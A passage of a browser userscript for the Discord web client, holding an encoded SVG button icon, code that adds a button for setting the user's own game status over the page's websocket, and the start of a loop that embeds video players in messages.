Q9Im03MC42IDIxNS4xIDAgMjguMWMwIDQuMiAzLjQgNy41IDcuNSA3LjVsMTkuNiAwYzQuMiAwIDguMy00LjUgMTEuMS03LjUgMy4xLTMuMyAxMC05IDEwLjMtMTMuMiAwLjMtNS40LTYuMi0xMS05LjktMTQuOS0yLjktMy03LjMtNy41LTExLjUtNy41bC0xOS42IDBjLTQuMiAwLTcuNSAzLjQtNy41IDcuNXoiIGZpbGw9InVybCgjbGluZWFyR3JhZGllbnQ3MTA5KSIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0ic3Nzc3Nzc3NzcyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg3MDA3IiBkPSJtMTg3LjkgMjE0LjIgMCAyOC4xYzAgNC4yLTMuNCA3LjUtNy41IDcuNWwtMTkuNiAwYy00LjIgMC04LjMtNC41LTExLjEtNy41LTMuMS0zLjMtMTAtOS0xMC4zLTEzLjItMC4zLTUuNCA2LjItMTEgOS45LTE0LjkgMi45LTMgNy4zLTcuNSAxMS41LTcuNWwxOS42IDBjNC4yIDAgNy41IDMuNCA3LjUgNy41eiIgZmlsbD0iI2ZmZiIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0ic3Nzc3Nzc3NzcyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg3MDA5IiBkPSJtMTE1LjIgMjg2LjggMjguMSAwYzQuMiAwIDcuNS0zLjQgNy41LTcuNWwwLTE5LjZjMC00LjItNC41LTguMy03LjUtMTEuMS0zLjMtMy4xLTktMTAtMTMuMi0xMC4zLTUuNC0wLjMtMTEgNi4yLTE0LjkgOS45LTMgMi45LTcuNSA3LjMtNy41IDExLjVsMCAxOS42YzAgNC4yIDMuNCA3LjUgNy41IDcuNXoiIGZpbGw9IiNmOWY5ZjkiLz48cGF0aCBkPSJtMTE1LjIgMTY5LjMgMjguMSAwYzQuMiAwIDcuNSAzLjQgNy41IDcuNWwwIDE5LjZjMCA0LjItNC41IDguMy03LjUgMTEuMS0zLjMgMy4xLTkgMTAtMTMuMiAxMC4zLTUuNCAwLjMtMTEtNi4yLTE0LjktOS45LTMtMi45LTcuNS03LjMtNy41LTExLjVsMC0xOS42YzAtNC4yIDMuNC03LjUgNy41LTcuNXoiIGlkPSJwYXRoNzAxMSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBmaWxsPSIjZmZmIi8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDcwMTMiIGQ9Im0xMTUuMiAxNzAuNCAyOC4xIDBjNC4yIDAgNy41IDMuNCA3LjUgNy41bDAgMTkuNmMwIDQuMi00LjUgOC4zLTcuNSAxMS4xLTMuMyAzLjEtOSAxMC0xMy4yIDEwLjMtNS40IDAuMy0xMS02LjItMTQuOS05LjktMy0yLjktNy41LTcuMy03LjUtMTEuNWwwLTE5LjZjMC00LjIgMy40LTcuNSA3LjUtNy41eiIgZmlsbD0iIzE3MWIxZCIvPjxnIGlkPSJnNzAxNSIgdHJhbnNmb3JtPSJtYXRyaXgoLTEsMCwwLDEsLTU3OS44MzMwNSw4OTguNzAyMDkpIj48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDcwMTciIGQ9Im0tNjI1LTY2OS44YzAtMC40LTAuMi0wLjctMC40LTAuOWwtMTIuMi0xMC44Yy0wLjUtMC40LTEuMSAwLjEtMS4xIDFsMCAyMS41YzAgMC45IDAuNiAxLjQgMS4xIDFsMTIuMi0xMC44YzAuMi0wLjIgMC40LTAuNiAwLjQtMXoiIGNsYXNzPSJzMTkiLz48cGF0aCBkPSJtLTYyNS02NzFjMC0wLjQtMC4yLTAuNy0wLjQtMC45bC0xMi4yLTEwLjhjLTAuNS0wLjQtMS4xIDAuMS0xLjEgMWwwIDIxLjVjMCAwLjkgMC42IDEuNCAxLjEgMWwxMi4yLTEwLjhjMC4yLTAuMiAwLjQtMC42IDAuNC0xeiIgaWQ9InBhdGg3MDE5IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBzdHlsZT0iYmFzZWxpbmUtc2hpZnQ6YmFzZWxpbmU7YmxvY2stcHJvZ3Jlc3Npb246dGI7Y2xpcC1ydWxlOm5vbnplcm87Y29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzOmxpbmVhclJHQjtjb2xvci1pbnRlcnBvbGF0aW9uOnNSR0I7Y29sb3ItcmVuZGVyaW5nOmF1dG87Y29sb3I6IzAwMDAwMDtkaXJlY3Rpb246bHRyO2Rpc3BsYXk6aW5saW5lO2VuYWJsZS1iYWNrZ3JvdW5kOmFjY3VtdWxhdGU7ZmlsbC1ydWxlOm5vbnplcm87ZmlsbDp1cmwoI2xpbmVhckdyYWRpZW50NzExMSk7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6bWVkaXVtO2ltYWdlLXJlbmRlcmluZzphdXRvO2lzb2xhdGlvbjphdXRvO2xldHRlci1zcGFjaW5nOm5vcm1hbDtsaW5lLWhlaWdodDpub3JtYWw7bWl4LWJsZW5kLW1vZGU6bm9ybWFsO292ZXJmbG93OnZpc2libGU7c2hhcGUtcmVuZGVyaW5nOmF1dG87c29saWQtY29sb3I6IzAwMDAwMDtzb2xpZC1vcGFjaXR5OjE7dGV4dC1hbGlnbjpzdGFydDt0ZXh0LWFuY2hvcjpzdGFydDt0ZXh0LWRlY29yYXRpb24tY29sb3I6IzAwMDAwMDt0ZXh0LWRlY29yYXRpb24tbGluZTpub25lO3RleHQtZGVjb3JhdGlvbi1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246bm9uZTt0ZXh0LWluZGVudDowO3RleHQtcmVuZGVyaW5nOmF1dG87dGV4dC10cmFuc2Zvcm06bm9uZTt3aGl0ZS1zcGFjZTpub3JtYWw7d29yZC1zcGFjaW5nOm5vcm1hbDt3cml0aW5nLW1vZGU6bHItdGIiLz48L2c+PGcgdHJhbnNmb3JtPSJtYXRyaXgoMCwtMSwtMSwwLC01NDAuNDQzMDUsLTQ4MC41Njc5NykiIGlkPSJnNzAyMSI+PHBhdGggZD0ibS02MjUtNjY5LjhjMC0wLjQtMC4yLTAuNy0wLjQtMC45bC0xMi4yLTEwLjhjLTAuNS0wLjQtMS4xIDAuMS0xLjEgMWwwIDIxLjVjMCAwLjkgMC42IDEuNCAxLjEgMWwxMi4yLTEwLjhjMC4yLTAuMiAwLjQtMC42IDAuNC0xeiIgaWQ9InBhdGg3MDIzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBjbGFzcz0iczE5Ii8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJjY2NjY2NjYyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg3MDI1IiBkPSJtLTYyNC40LTY2OS42YzAtMC40LTAuMi0wLjctMC40LTAuOWwtMTIuMi0xMC44Yy0wLjUtMC40LTEuMSAwLjEtMS4xIDFsMCAyMS41YzAgMC45IDAuNiAxLjQgMS4xIDFsMTIuMi0xMC44YzAuMi0wLjIgMC40LTAuNiAwLjQtMXoiIHN0eWxlPSJiYXNlbGluZS1zaGlmdDpiYXNlbGluZTtibG9jay1wcm9ncmVzc2lvbjp0YjtjbGlwLXJ1bGU6bm9uemVybztjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM6bGluZWFyUkdCO2NvbG9yLWludGVycG9sYXRpb246c1JHQjtjb2xvci1yZW5kZXJpbmc6YXV0bztjb2xvcjojMDAwMDAwO2RpcmVjdGlvbjpsdHI7ZGlzcGxheTppbmxpbmU7ZW5hYmxlLWJhY2tncm91bmQ6YWNjdW11bGF0ZTtmaWxsLXJ1bGU6bm9uemVybztmaWxsOnVybCgjbGluZWFyR3JhZGllbnQ3MTEzKTtmb250LWZhbWlseTpzYW5zLXNlcmlmO2ZvbnQtc2l6ZTptZWRpdW07aW1hZ2UtcmVuZGVyaW5nOmF1dG87aXNvbGF0aW9uOmF1dG87bGV0dGVyLXNwYWNpbmc6bm9ybWFsO2xpbmUtaGVpZ2h0Om5vcm1hbDttaXgtYmxlbmQtbW9kZTpub3JtYWw7b3ZlcmZsb3c6dmlzaWJsZTtzaGFwZS1yZW5kZXJpbmc6YXV0bztzb2xpZC1jb2xvcjojMDAwMDAwO3NvbGlkLW9wYWNpdHk6MTt0ZXh0LWFsaWduOnN0YXJ0O3RleHQtYW5jaG9yOnN0YXJ0O3RleHQtZGVjb3JhdGlvbi1jb2xvcjojMDAwMDAwO3RleHQtZGVjb3JhdGlvbi1saW5lOm5vbmU7dGV4dC1kZWNvcmF0aW9uLXN0eWxlOnNvbGlkO3RleHQtZGVjb3JhdGlvbjpub25lO3RleHQtaW5kZW50OjA7dGV4dC1yZW5kZXJpbmc6YXV0bzt0ZXh0LXRyYW5zZm9ybTpub25lO3doaXRlLXNwYWNlOm5vcm1hbDt3b3JkLXNwYWNpbmc6bm9ybWFsO3dyaXRpbmctbW9kZTpsci10YiIvPjwvZz48ZyBpZD0iZzcwMjciIHRyYW5zZm9ybT0ibWF0cml4KDAuOTMzNTYzMzksMCwwLDAuOTMzNTYzMzksODEyLjg3MzIyLDg1OC43NTA5MykiPjxwYXRoIHNvZGlwb2RpOnR5cGU9InN0YXIiIGlkPSJwYXRoNzAyOSIgc29kaXBvZGk6c2lkZXM9IjMiIHNvZGlwb2RpOmN4PSItNTQyLjEiIHNvZGlwb2RpOmN5PSItNzM3LjMiIHNvZGlwb2RpOnIxPSI0OS44IiBzb2RpcG9kaTpyMj0iMjQuOSIgc29kaXBvZGk6YXJnMT0iMi4xIiBzb2RpcG9kaTphcmcyPSIzLjEiIGlua3NjYXBlOmZsYXRzaWRlZD0idHJ1ZSIgaW5rc2NhcGU6cm91bmRlZD0iMCIgaW5rc2NhcGU6cmFuZG9taXplZD0iMCIgZD0ibS01NjctNjk0LjIgMC04Ni4yIDc0LjcgNDMuMXoiIGlua3NjYXBlOnRyYW5zZm9ybS1jZW50ZXIteD0iLTguNCIgdHJhbnNmb3JtPSJtYXRyaXgoMC42NzQ3MTQwOSwwLDAsMC4yODE0NDUzNiwtNTYuODYzNzk0LC00MDguOTM2MzkpIiBmaWxsPSIjZTNlOWU5Ii8+PHBhdGggdHJhbnNmb3JtPSJtYXRyaXgoMC42ODAwMDUxNCwwLDAsMC4yODE0NDUzNiwtNTQuMjU4ODI1LC00MDkuMTk1NTgpIiBpbmtzY2FwZTp0cmFuc2Zvcm0tY2VudGVyLXg9Ii04LjUiIGQ9Im0tNTY3LTY5NC4yIDAtODYuMiA3NC43IDQzLjF6IiBpbmtzY2FwZTpyYW5kb21pemVkPSIwIiBpbmtzY2FwZTpyb3VuZGVkPSIwIiBpbmtzY2FwZTpmbGF0c2lkZWQ9InRydWUiIHNvZGlwb2RpOmFyZzI9IjMuMSIgc29kaXBvZGk6YXJnMT0iMi4xIiBzb2RpcG9kaTpyMj0iMjQuOSIgc29kaXBvZGk6cjE9IjQ5LjgiIHNvZGlwb2RpOmN5PSItNzM3LjMiIHNvZGlwb2RpOmN4PSItNTQyLjEiIHNvZGlwb2RpOnNpZGVzPSIzIiBpZD0icGF0aDcwMzEiIHNvZGlwb2RpOnR5cGU9InN0YXIiIGZpbGw9IiMxNjE3MTciLz48cGF0aCB0cmFuc2Zvcm09Im1hdHJpeCgwLjYxOTMwOTM5LDAsMCwwLjI0OTU2MDAzLC04Ny45MjY4ODUsLTQzMy4xNTQxNikiIGlua3NjYXBlOnRyYW5zZm9ybS1jZW50ZXIteD0iLTcuNyIgZD0ibS01NjctNjk0LjIgMC04Ni4yIDc0LjcgNDMuMXoiIGlua3NjYXBlOnJhbmRvbWl6ZWQ9IjAiIGlua3NjYXBlOnJvdW5kZWQ9IjAiIGlua3NjYXBlOmZsYXRzaWRlZD0idHJ1ZSIgc29kaXBvZGk6YXJnMj0iMy4xIiBzb2RpcG9kaTphcmcxPSIyLjEiIHNvZGlwb2RpOnIyPSIyNC45IiBzb2RpcG9kaTpyMT0iNDkuOCIgc29kaXBvZGk6Y3k9Ii03MzcuMyIgc29kaXBvZGk6Y3g9Ii01NDIuMSIgc29kaXBvZGk6c2lkZXM9IjMiIGlkPSJwYXRoNzAzMyIgc29kaXBvZGk6dHlwZT0ic3RhciIgZmlsbD0iI2ZmZiIvPjxwYXRoIHNvZGlwb2RpOnR5cGU9InN0YXIiIGlkPSJwYXRoNzAzNSIgc29kaXBvZGk6c2lkZXM9IjMiIHNvZGlwb2RpOmN4PSItNTQyLjEiIHNvZGlwb2RpOmN5PSItNzM3LjMiIHNvZGlwb2RpOnIxPSI0OS44IiBzb2RpcG9kaTpyMj0iMjQuOSIgc29kaXBvZGk6YXJnMT0iMi4xIiBzb2RpcG9kaTphcmcyPSIzLjEiIGlua3NjYXBlOmZsYXRzaWRlZD0idHJ1ZSIgaW5rc2NhcGU6cm91bmRlZD0iMCIgaW5rc2NhcGU6cmFuZG9taXplZD0iMCIgZD0ibS01NjctNjk0LjIgMC04Ni4yIDc0LjcgNDMuMXoiIGlua3NjYXBlOnRyYW5zZm9ybS1jZW50ZXIteD0iLTcuOCIgdHJhbnNmb3JtPSJtYXRyaXgoMC42MjQxNjU5NiwwLDAsMC4yNDk1NjAwMywtODUuMTk5NTk1LC00MzIuNjc2OTcpIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzExNSkiLz48L2c+PGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoODM4LjgwOTA1LDg5OS45NzQ2KSIgaWQ9Imc3MDM3Ij48cGF0aCBkPSJtLTYyNS02NjkuOGMwLTAuNC0wLjItMC43LTAuNC0wLjlsLTEyLjItMTAuOGMtMC41LTAuNC0xLjEgMC4xLTEuMSAxbDAgMjEuNWMwIDAuOSAwLjYgMS40IDEuMSAxbDEyLjItMTAuOGMwLjItMC4yIDAuNC0wLjYgMC40LTF6IiBpZD0icGF0aDcwMzkiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0iY2NjY2NjY2MiIGNsYXNzPSJzMTkiLz48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDcwNDEiIGQ9Im0tNjI1LTY3MWMwLTAuNC0wLjItMC43LTAuNC0wLjlsLTEyLjItMTAuOGMtMC41LTAuNC0xLjEgMC4xLTEuMSAxbDAgMjEuNWMwIDAuOSAwLjYgMS40IDEuMSAxbDEyLjItMTAuOGMwLjItMC4yIDAuNC0wLjYgMC40LTF6IiBzdHlsZT0iYmFzZWxpbmUtc2hpZnQ6YmFzZWxpbmU7YmxvY2stcHJvZ3Jlc3Npb246dGI7Y2xpcC1ydWxlOm5vbnplcm87Y29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzOmxpbmVhclJHQjtjb2xvci1pbnRlcnBvbGF0aW9uOnNSR0I7Y29sb3ItcmVuZGVyaW5nOmF1dG87Y29sb3I6IzAwMDAwMDtkaXJlY3Rpb246bHRyO2Rpc3BsYXk6aW5saW5lO2VuYWJsZS1iYWNrZ3JvdW5kOmFjY3VtdWxhdGU7ZmlsbC1ydWxlOm5vbnplcm87ZmlsbDp1cmwoI2xpbmVhckdyYWRpZW50NzExNyk7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6bWVkaXVtO2ltYWdlLXJlbmRlcmluZzphdXRvO2lzb2xhdGlvbjphdXRvO2xldHRlci1zcGFjaW5nOm5vcm1hbDtsaW5lLWhlaWdodDpub3JtYWw7bWl4LWJsZW5kLW1vZGU6bm9ybWFsO292ZXJmbG93OnZpc2libGU7c2hhcGUtcmVuZGVyaW5nOmF1dG87c29saWQtY29sb3I6IzAwMDAwMDtzb2xpZC1vcGFjaXR5OjE7dGV4dC1hbGlnbjpzdGFydDt0ZXh0LWFuY2hvcjpzdGFydDt0ZXh0LWRlY29yYXRpb24tY29sb3I6IzAwMDAwMDt0ZXh0LWRlY29yYXRpb24tbGluZTpub25lO3RleHQtZGVjb3JhdGlvbi1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246bm9uZTt0ZXh0LWluZGVudDowO3RleHQtcmVuZGVyaW5nOmF1dG87dGV4dC10cmFuc2Zvcm06bm9uZTt3aGl0ZS1zcGFjZTpub3JtYWw7d29yZC1zcGFjaW5nOm5vcm1hbDt3cml0aW5nLW1vZGU6bHItdGIiLz48L2c+PGcgaWQ9Imc3MDQzIiB0cmFuc2Zvcm09Im1hdHJpeCgwLDEsLTEsMCwtNTQwLjQ0MzA1LDkzNS4xMDM2MSkiPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0iY2NjY2NjY2MiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNzA0NSIgZD0ibS02MjUtNjY5LjhjMC0wLjQtMC4yLTAuNy0wLjQtMC45bC0xMi4yLTEwLjhjLTAuNS0wLjQtMS4xIDAuMS0xLjEgMWwwIDIxLjVjMCAwLjkgMC42IDEuNCAxLjEgMWwxMi4yLTEwLjhjMC4yLTAuMiAwLjQtMC42IDAuNC0xeiIgY2xhc3M9InMxOSIvPjxwYXRoIGQ9Im0tNjI0LjQtNjY5LjZjMC0wLjQtMC4yLTAuNy0wLjQtMC45bC0xMi4yLTEwLjhjLTAuNS0wLjQtMS4xIDAuMS0xLjEgMWwwIDIxLjVjMCAwLjkgMC42IDEuNCAxLjEgMWwxMi4yLTEwLjhjMC4yLTAuMiAwLjQtMC42IDAuNC0xeiIgaWQ9InBhdGg3MDQ3IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBzdHlsZT0iYmFzZWxpbmUtc2hpZnQ6YmFzZWxpbmU7YmxvY2stcHJvZ3Jlc3Npb246dGI7Y2xpcC1ydWxlOm5vbnplcm87Y29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzOmxpbmVhclJHQjtjb2xvci1pbnRlcnBvbGF0aW9uOnNSR0I7Y29sb3ItcmVuZGVyaW5nOmF1dG87Y29sb3I6IzAwMDAwMDtkaXJlY3Rpb246bHRyO2Rpc3BsYXk6aW5saW5lO2VuYWJsZS1iYWNrZ3JvdW5kOmFjY3VtdWxhdGU7ZmlsbC1ydWxlOm5vbnplcm87ZmlsbDp1cmwoI2xpbmVhckdyYWRpZW50NzExOSk7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6bWVkaXVtO2ltYWdlLXJlbmRlcmluZzphdXRvO2lzb2xhdGlvbjphdXRvO2xldHRlci1zcGFjaW5nOm5vcm1hbDtsaW5lLWhlaWdodDpub3JtYWw7bWl4LWJsZW5kLW1vZGU6bm9ybWFsO292ZXJmbG93OnZpc2libGU7c2hhcGUtcmVuZGVyaW5nOmF1dG87c29saWQtY29sb3I6IzAwMDAwMDtzb2xpZC1vcGFjaXR5OjE7dGV4dC1hbGlnbjpzdGFydDt0ZXh0LWFuY2hvcjpzdGFydDt0ZXh0LWRlY29yYXRpb24tY29sb3I6IzAwMDAwMDt0ZXh0LWRlY29yYXRpb24tbGluZTpub25lO3RleHQtZGVjb3JhdGlvbi1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246bm9uZTt0ZXh0LWluZGVudDowO3RleHQtcmVuZGVyaW5nOmF1dG87dGV4dC10cmFuc2Zvcm06bm9uZTt3aGl0ZS1zcGFjZTpub3JtYWw7d29yZC1zcGFjaW5nOm5vcm1hbDt3cml0aW5nLW1vZGU6bHItdGIiLz48L2c+PHBhdGggaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZD0ibTU4OC44IDE0MC44Yy00LjggMC04LjcgMy45LTguNyA4LjdsMCA1MC4zLTUwLjMgMGMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuN2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuMyAwIDAgNTAuM2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuNyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjMgNTAuMyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjdjMC00LjgtMy45LTguNy04LjctOC43bC01MC4zIDAgMC01MC4zYzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuNyAweiIgaWQ9InBhdGg3MDQ5IiBjbGFzcz0iczE3Ii8+PHBhdGggZD0ibTE4Ny45IDIxNS4xIDAgMjguMWMwIDQuMi0zLjQgNy41LTcuNSA3LjVsLTE5LjYgMGMtNC4yIDAtOC4zLTQuNS0xMS4xLTcuNS0zLjEtMy4zLTEwLTktMTAuMy0xMy4yLTAuMy01LjQgNi4yLTExIDkuOS0xNC45IDIuOS0zIDcuMy03LjUgMTEuNS03LjVsMTkuNiAwYzQuMiAwIDcuNSAzLjQgNy41IDcuNXoiIGlkPSJwYXRoNzA1MSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzEyMSkiLz48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNzA1MyIgZD0ibTE0My4zIDI4Ny44LTI4LjEgMGMtNC4yIDAtNy41LTMuNC03LjUtNy41bDAtMTkuNmMwLTQuMiA0LjUtOC4zIDcuNS0xMS4xIDMuMy0zLjEgOS0xMCAxMy4yLTEwLjMgNS40LTAuMyAxMSA2LjIgMTQuOSA5LjkgMyAyLjkgNy41IDcuMyA3LjUgMTEuNWwwIDE5LjZjMCA0LjItMy40IDcuNS03LjUgNy41eiIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcxMjMpIi8+PHBhdGggZD0ibTE0My4zIDE3MC40LTI4LjEgMGMtNC4yIDAtNy41IDMuNC03LjUgNy41bDAgMTkuNmMwIDQuMiA0LjUgOC4zIDcuNSAxMS4xIDMuMyAzLjEgOSAxMCAxMy4yIDEwLjMgNS40IDAuMyAxMS02LjIgMTQuOS05LjkgMy0yLjkgNy41LTcuMyA3LjUtMTEuNWwwLTE5LjZjMC00LjItMy40LTcuNS03LjUtNy41eiIgaWQ9InBhdGg3MDU1IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGZpbGw9InVybCgjbGluZWFyR3JhZGllbnQ3MTI1KSIvPjxnIGlkPSJnNzA1NyIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoODQ1LjkxODczLDg5OS44MTU1MykiPjxyZWN0IGlkPSJyZWN0NzA1OSIgd2lkdGg9IjM4IiBoZWlnaHQ9IjIxLjIiIHg9Ii01NDIuMSIgeT0iLTYyNy4yIiBmaWxsPSIjZTdlOGU4Ii8+PHJlY3QgeT0iLTYyNy40IiB4PSItNTQyLjEiIGhlaWdodD0iMjEuMiIgd2lkdGg9IjM4IiBpZD0icmVjdDcwNjEiIGZpbGw9IiMxNjE3MTciLz48cmVjdCB5PSItNjI2LjciIHg9Ii01NDEuMyIgaGVpZ2h0PSIxOS4yIiB3aWR0aD0iMzYuMyIgaWQ9InJlY3Q3MDYzIiBmaWxsPSIjZjlmOWY5Ii8+PHJlY3QgaWQ9InJlY3Q3MDY1IiB3aWR0aD0iMzYuMyIgaGVpZ2h0PSIxOS4yIiB4PSItNTQxLjMiIHk9Ii02MjYuMSIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcxMjcpIi8+PC9nPjxwYXRoIGQ9Im0yMzAuNiAzMTMuN2MwIDAgMS4xIDUuMyAyLjggNy4zIDMuNyA0LjYgOS4yIDcuOCAxNC45IDkuNSAyMy43IDYuOSA1Ni4xIDUgODguOCA1LjYgNzMuNyAxLjQgMTAyLjQtMC40IDE0OS41LTEuNiA0LjktMC4xIDguOS00LjQgMTMuNi03LjMgNC43LTIuOSA4LjEtMTQuNCA4LjEtMTQuNGwtMC44IDBjLTEuMSAyLjYtMi41IDMuMi00LjQgMy4zLTg0LjQgMi45LTE3My4zIDYuNS0yNjMuMiAwLjctMi4xLTAuMS01LjYtMS40LTYuNC0yLjYtMC4zLTAuNC0xLjEtMS44LTEuMi0yLjN6IiBpZD0icGF0aDcwNjciIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0iY3Nzc3NzY2Njc3NjYyIgc3R5bGU9ImZpbGw6dXJsKCNsaW5lYXJHcmFkaWVudDcxMjkpO29wYWNpdHk6MCIvPjwvZz48L2c+PC9zdmc+'; let game_name = ''; // UI function triggerMouseOver (element, enter) { // https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent const event = new MouseEvent('mouse' + (enter ? 'over' : 'out'), { view: window, bubbles: true, cancelable: true }) // https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent element.dispatchEvent(event) } function gameUI() { game_name = prompt("Game Name? (empty = remove)"); if (game_name === null) return; let msg = { "op": 3, "d": { "status": window._dgs_last_status_, "since": 0, "afk": false } }; msg.d.game = game_name.length > 0 ? { "name": game_name, "type": 0 } : null; window._dgs_game_entry_ = msg.d.game; window._ws_.send(JSON.stringify(msg)); if (game_name.length == 0) { console.log("[Discord Game Status] Removed game status."); } else { console.log("[Discord Game Status] Set game name as: " + game_name); } } function setTooltipTemplate (container, template) { tooltip_container = container; tooltip_template = template; } function tooltipUI (ev, onoff) { if (tooltip_container == null) return; if (onoff) { let left = 0; if (ev && ev.currentTarget) { const rect = ev.currentTarget.getBoundingClientRect(); left = rect.left - (game_name ? game_name.length * 1.5 : 0) - rect.width * 1.4; } tooltip_container.innerHTML = tooltip_template; let tooltip = tooltip_container.querySelectorAll('div[class^="tooltip-"]')[0]; tooltip.style = "position:fixed; left:" + left + "px; bottom:51px;"; tooltip.querySelectorAll('div[class^="tooltipContent-"]')[0].textContent = game_name && game_name.length > 0 ? 'Game Status: ' + game_name : 'Set Game Status'; } else { tooltip_container.innerHTML = ''; } } function tooltipUIon (ev) { return tooltipUI (ev, true); } function tooltipUIoff (ev) { return tooltipUI (ev, false); } // wait for UI let interval_UI_id = null; function interval_UI() { const nameTag = document.querySelectorAll('div[class^="nameTag-"]')[0]; if (!nameTag) return; const existing_button = nameTag.parentNode.getElementsByTagName("button")[0]; if (!existing_button) return; const buttons = existing_button.parentNode; if (buttons && buttons.childNodes.length > 0) { clearInterval(interval_UI_id); console.log("%c/!\\\\" + "%cInjected Discord Game Status!" + "%c/!\\\\", "color: #dd44dd; -webkit-text-stroke: 2px black; font-size: 30px; font-weight: bold; \ border-style: double; border-width: 10px", "color: #dd44dd; -webkit-text-stroke: 2px black; font-size: 30px; font-weight: bold; border-style: double; \ border-width: 10px", "color: #dd44dd; -webkit-text-stroke: 2px black; font-size: 30px; font-weight: bold; border-style: double; border-width: 10px"); { // steal the HTML code of a working tooltip triggerMouseOver (existing_button, true); window.tooltip = document.querySelectorAll ('div[class^="tooltip-"]')[0]; tooltip.style = "opacity: 1; transform: none"; let container = tooltip.parentNode.parentNode; let container_content = container.innerHTML; triggerMouseOver (existing_button, false); let cloned_container = container.cloneNode (true); container.parentNode.appendChild (cloned_container); setTooltipTemplate (cloned_container, container_content); tooltipUIoff(); } // construct the actual button and style it const button = buttons.childNodes[1].cloneNode (true); buttons.appendChild (button); button.addEventListener ("click", gameUI, false); button.addEventListener ("mouseenter", tooltipUIon, false); button.addEventListener ("mouseleave", tooltipUIoff, false); let button_button = button.children[0]; button_button.className += " btn-gamestatus"; button_button.style = ""; button_button.innerHTML = ""; // remove contents (svg), we're doing this via background-image like in the old Discord times! const style = document.createElement ("style"); const sheet = document.head.appendChild (style).sheet; sheet.insertRule (".btn-gamestatus:hover {-webkit-filter: brightness(165%);}", sheet.cssRules.length); sheet.insertRule (".btn-gamestatus { width: 20px; height: 20px; opacity: 1; -webkit-filter: brightness(115%); background-size: 18px auto; background-repeat: no-repeat; background-position: center; background-image: url('" + button_icon + "')}", sheet.cssRules.length); } } interval_UI_id = setInterval (interval_UI, 1); `); (function() { 'use strict'; //main Loop, LOOKS FOR LINKS function hasAttach(element){ if(element.id == "checked"){ return false; } var children = element.childNodes; element.id = "checked"; if(children !== undefined){ return true; }else{ return false; } } function displayAs(element,url,video){ video.src = url; video.setAttribute("controls", ""); element.appendChild(video); } setInterval(function(){ //msg first support later //loop for lattest 5 messages var Acc = document.getElementsByClassName("accessory"); for(var i=1; i<Acc.length; i++){ var videoTemplate = document.createElement("video"); videoTemplate.style.height = "214px"; var curAcc = Acc[Math.abs(Acc.length - i)]; 